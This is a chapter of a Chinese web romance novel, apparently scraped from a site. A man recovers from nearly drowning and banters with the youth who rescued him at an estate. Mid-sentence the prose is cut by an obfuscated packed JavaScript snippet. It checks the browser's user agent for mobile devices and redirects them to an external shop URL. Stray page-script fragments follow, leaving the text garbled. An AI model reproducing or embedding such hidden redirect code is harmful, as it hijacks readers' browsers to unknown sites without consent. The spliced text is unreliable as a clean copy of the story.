“杜先生,是小少爷跳下湖救了您,并给您做了人工呼吸。”保镖附上贴心提示。
杜旧棠不置可否,手臂支起上半身坐起来,湿透的白衬衫贴紧皮肉,隐隐勾勒出胸腹肌轮廓,强壮而硕美。
原先没有仔细看,满心只有救人的李栗酥此时眼睛有点发直。
杜旧棠抬手,修长五指将湿发往后耙,形成一个贴头皮的大背头,这样的造型下凸显的竟是他优越饱满的颅骨,与没有一丝死角的五官。敏感地注意到少年的视线,他转过脸去,浓长的眉挑高半毫米,唇角牵动:“把你看爽了是吧?”
李栗酥眨巴着眼睛,目光飘忽,嘀咕了一句:“才没有,咪咪都看不见。”
“……”
又有几个保镖匆匆寻来,“杜先生,车备好了。”
“不用。”杜旧棠站起来,看了眼脚上的手工定制真皮皮鞋,脱了下来丢在一旁,“收拾一下这边。”
“是。”
李栗酥拎着自己的小白鞋屁颠屁颠跟上去,回头看了眼皮鞋,“可惜了。”
杜旧棠走得不快,但步伐还算稳健,不像刚溺了水的样子。
“杜先生,你这样走回去没事吗?”
杜旧棠没有回答,吹着风,湿哒哒黏在身上的衣服清爽许多,他侧过脸,发梢水珠滴落,看着亦步亦趋的少年,“你应该还有其他话对我说。”
李栗酥认错:“对不起,我不是故意把你推下去的……你当时太吓人了,我还以为……”
“以为我要杀你?”
李栗酥点头。
杜旧棠嗤笑:“早知你水性那么好,就不多此一举了。”
“对不起。”李栗酥回忆整件事,是他理亏,“我也没想到杜先生居然是旱鸭子。”
“……”杜旧棠没有解释,“我想听的不是你道歉。”
“?”
两人一前一后走了半晌,李栗酥终于反应过来,杜旧棠还抓着那件事不放,于是破罐子破摔:“没错,我是见到了龙凌。”
杜旧棠立住,衬衫被风鼓吹着,下摆依然妥帖地收在腰带里,他将袖口挽起,腕部青筋蜿蜒,“嗯。”
“你不会打我吧?”看到杜旧棠的动作,李栗酥第一反应是戒备。
杜旧棠问:“在你眼里,我到底是个怎样的人?”
“大变态。”李栗酥脱口而出。
“呵。”
“……我是见了龙凌,但绝不是故意的。我也很意外,他居然是江州大学的学生。”
杜旧棠:“难道不是因为龙凌在江州大学,你才选了江州大学?”
“啊呸!”李栗酥俊秀的脸满是嫌弃,“他那吊样,何德何能。”
杜旧棠被少年的话逗笑,又很快抿紧薄唇,作出严肃的神色。
李栗酥巴巴地跟上去,仰起脸觑着杜旧棠凌厉的下颌线,“我没想到会遇见他,是他把我拽进资料室,放了两个屁,我什么都没答应他。”
“既然这样,你之前为什么不说?还替他掩护?”
“我还不是怕你怀疑,怕你生气嘛。”少年嗓音清脆如甘泉,自带江南的软糯底色,怎么听都像撒娇。
杜旧棠一顿,生硬地没有转头看李栗酥,“现在不怕了?”
“你都要死要活了,我还能怎么办。”
“……”说得好像是杜旧棠以死相逼无理取闹似的。
越说越像那么回事,李栗酥竖起三根手指,“我李栗酥对天发誓,只要杜先生供我上大学,我这辈子都不会背叛你,有违此誓,天打雷劈。”
杜旧棠笑了一声:“看你表现,我再选择是否相信你。”
事实胜于雄辩,其实结果已然明了。
杜旧棠死亡,永恒国际控股集团倒台,是龙凌最大的期望。刚才就是一个千载难逢的机会。重生者并不会因为重生而多一条命,当死亡的阴霾笼罩下来,便是杜旧棠也难以挣脱。
可是,李栗酥毫不犹豫地游向了他。
在光与影交错的水下,被窒息与冰冷冻结的生存本能,因为一个少年破水而入,而彻底搅乱命运的弦。
杜旧棠看到过,少年拼命将他往上拽的模样,因用力而呛到脸白,却始终不曾放手。
“不过,”杜旧棠又说,“你游泳的姿势不太优雅,像只青蛙。”
李栗酥:“……”就你优雅!
大变态是懂怎么气人的。李栗酥自认理亏,忍了。
走回庄园,盛夏热风吹拂之下,两人衣服已经半干。管家及众人一团慌乱,谢医生看到杜旧棠的模样,倒是不急不躁,让他先去洗个澡。
杜旧棠颔首,对李栗酥说:“你也洗洗。”
李栗酥一惊,耳根先热了起来:“我才不要和你一起洗。”
众人闻言,立马把眼睛瞟了过来,带着吃瓜的兴奋。
杜旧棠:“想得美,自己洗。”
李栗酥:“……”
什么叫倒打一耙,学以致用,这就是。
李栗酥光脚噔噔噔上了楼。
洗完澡,他就迫不及待地来到主卧门前,留了缝,没有关。很难不怀疑这是杜旧棠故意留的,说不定大变态正裸着全身引他上钩……
“杜先生是否感到头晕、恶心、耳鸣?”清冷的女声传出。
“有一点。”
“我先为你清理一下耳朵里的水,吃了药,如果明早持续耳鸣,就需要多观察了。”
“嗯。”
李栗酥推门进去,看到谢医生正捏着棉签为杜旧棠掏耳朵。床上的男人君王般躺着,任由医生半跪在床边伺候,那情景,简直大写的霸道总裁爱采耳。
听到开门声,谢医生没有抬头,手上动作很稳。
杜旧棠也只淡淡一瞥李栗酥,脑中持续嗡鸣,让他几乎听不见自己的声音,因此他也不知道自己口气是否重了:“你来做什么?”
李栗酥满脸羡慕:“从来没人给我掏过耳朵。”
“……”
“医生姐姐,等你给杜先生掏完了,能给我掏掏吗?”
谢医生浅笑:“可以。”
李栗酥开心地坐在床边,看着谢医生手里的棉签说:“杜先生怎么没有耳屎?是不是经常掏?”
谢医生还未回答,就听杜旧棠说:“闭嘴。”
“干嘛?掏耳屎而已,又不是掏屎。”
“……”
杜旧棠偏过脑袋,对谢医生说:“你回去吧。”
李栗酥:“我还没掏呢。”
杜旧棠:“爸爸给你掏屎。”
“……”
谢医生收拾好医药箱,临走前说:“杜先生,这几天你最好清心寡欲些,利于康复。”
杜旧棠:“嗯。”
门轻轻带上了,李栗酥和床上的杜旧棠大眼瞪小眼。
杜旧棠穿着纯黑真丝睡袍,胸膛若隐若现,“又给你看美了是吧?”
李栗酥拿起医生留下的一袋医用棉签,抽了根自己掏耳朵,“我是耳朵进水,不是脑子进水。”
“你的眼睛可不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597853|204999||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是这么说的。”
少年亮晶晶的眼珠子转到别处,忽然注意到床尾靠墙的五斗柜上有个相框,相框里赫然是一只中分刘海的蓝眼布偶猫,美萌美萌的,睁着大眼睛。
李栗酥觉得眼熟。
杜旧棠随之望去,没说什么。
李栗酥问:“这是你爱猫的遗照吗?”
“遗照?”
“听管家说,它已经过世了。节哀。”
杜旧棠闭了闭眼睛,疑似想翻一个白眼,但良好的教养让他只是叹出一口气:“Alice在美国养老,不方便带回来而已。”
“啊?”
敲门声响起,是管家的声音:“杜先生,您是下来用晚餐,还是送上来?”
杜旧棠:“不用晚餐。”
李栗酥怀疑杜旧棠被气饱了。
人是铁饭是钢,一顿不吃饿得慌。杜旧棠那么大个子,溺水了还不吃饭,这怎么行呢。李栗酥吃晚饭时特地留了两根最大的鸡腿,端上楼亲自送给杜旧棠。
管家十分欣慰:“小少爷真是孝顺。”
李栗酥好心提醒:“您老这两天在杜先生面前还是少说话吧,当个哑巴最好。”
管家:“?”
也不知厨娘是怎么煮的鸡腿,味道清淡而不寡味,喷香而不油腻,李栗酥每次都要吃两根才过瘾。今晚杜酌和慕安不回来吃,厨娘就煮了三根,李栗酥强忍着没有吃第二根,把最好的献给杜旧棠。
他想,都是为了上学。
没有杜旧棠,就不能上学。所以他要把杜旧棠伺候好了。
敲了敲门,“杜先生?杜先生?”
大风呼啸一样的耳鸣声中,少年淙淙的嗓音格外悦耳。杜旧棠终是说:“进来。”
李栗酥端着鸡腿进去,“你吃点吧,我给你留了最好的。”
头疼,杜旧棠实在没有胃口,但看着少年清纯俊秀的面容,说:“过来。”
李栗酥把鸡腿端到床边,“来,你尝尝。”
“我不吃,看着你吃。”
“?”李栗酥说,“我已经吃饱了。”
杜旧棠半坐起来靠着床头,干燥洁净的指尖轻轻捻动,“还记得爸爸说过什么吗?”
“什么?”
“打你屁股。”
“……”卧槽,这茬还没过去?
“想被爸爸打屁股吗?”
少年面颊微红,“才不想。”
“口是心非。我看你甘之如饴,求之不得,难以自抑。”
“……别这么说我好吗?”
杜旧棠看了眼少年劲瘦的腰身,“吃了也像没吃一样,再吃点,就不打你屁股。”
李栗酥为难:“一定要在打屁股和吃鸡腿之间二选一吗?”
杜旧棠含笑看他,竟似宠溺。
“好吧,我吃鸡腿。”
晚间,一台骚包红的玛莎拉蒂驶入庄园。慕安从驾驶座下来,快步走进主宅,问管家:“听说我爸落水了?他怎么样了?休息了吗?”
管家:“医生来看过,杜先生没事。现在小少爷陪着杜先生。”
慕安颔首,轻手轻脚上了楼,来到主卧前抬手刚要敲门,忽听里面隐约传来细微的少年声音——
“……杜先生,我真的吃不下了,晚饭吃太饱了。”
“鸡腿太大了……”
“我的嘴巴塞不下了,大变态!”
断断续续的听不明白,但最后一句,清清楚楚。
慕安:“……………………”